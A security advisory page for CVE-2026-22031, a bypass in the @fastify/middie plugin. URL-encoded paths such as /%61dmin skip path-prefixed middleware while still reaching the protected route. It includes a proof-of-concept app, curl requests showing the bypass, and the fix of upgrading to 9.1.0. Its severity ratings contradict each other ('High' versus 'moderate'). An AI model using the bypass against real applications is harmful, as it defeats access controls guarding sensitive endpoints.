CVE-2026-22031: Fastify Middie Middleware Path Bypass
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
Other sources
Summary A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details The vulnerability is caused by how middie matches requests against registered middleware paths.
1. Regex Generation: When fastify.use('/admin', ...) is called, middie uses path-to-regexp to generate a regular expression for the path /admin. 2. Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl). 3. The Flaw: req.url in Fastify contains the raw, undecoded path string. The generated regex expects a decoded path (e.g., /admin). If a request is sent to /%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin). middie assumes the middleware does not apply and calls next(). 4. Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.
Incriminated Source Code: In the provided middie source: javascript // ... inside Holder function if (regexp) { const result = regexp.exec(url) // <--- 'url' is undecoded. if (result) { // ... executes middleware ... } else { that.done() // <--- Middleware skipped on mismatch } }
PoC Step 1: Run the following Fastify application (save as app.js): javascript const fastify = require('fastify')({ logger: true });
async function start() { // Register middie for Express-style middleware support await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });
// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });
fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });
// Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } }
start();
Step 2: Execute the attack. 1. Normal Request (Blocked): bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked 2. Bypass Request (Successful): bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}
Impact Type: Authentication/Authorization Bypass. Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
— GitHub
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22031?
CVE-2026-22031 has a moderate severity level as it can allow path bypassing of middleware, potentially impacting application functionality.
How do I fix CVE-2026-22031?
To fix CVE-2026-22031, upgrade @fastify/middie to version 9.1.0 or later.
What versions are affected by CVE-2026-22031?
CVE-2026-22031 affects all versions of @fastify/middie prior to 9.1.0.
What type of vulnerability is CVE-2026-22031?
CVE-2026-22031 is a path bypass vulnerability that can occur due to inadequate handling of URL-encoded characters.
Can CVE-2026-22031 affect web application security?
Yes, CVE-2026-22031 can impact web application security by allowing unauthorized access to middleware functionalities.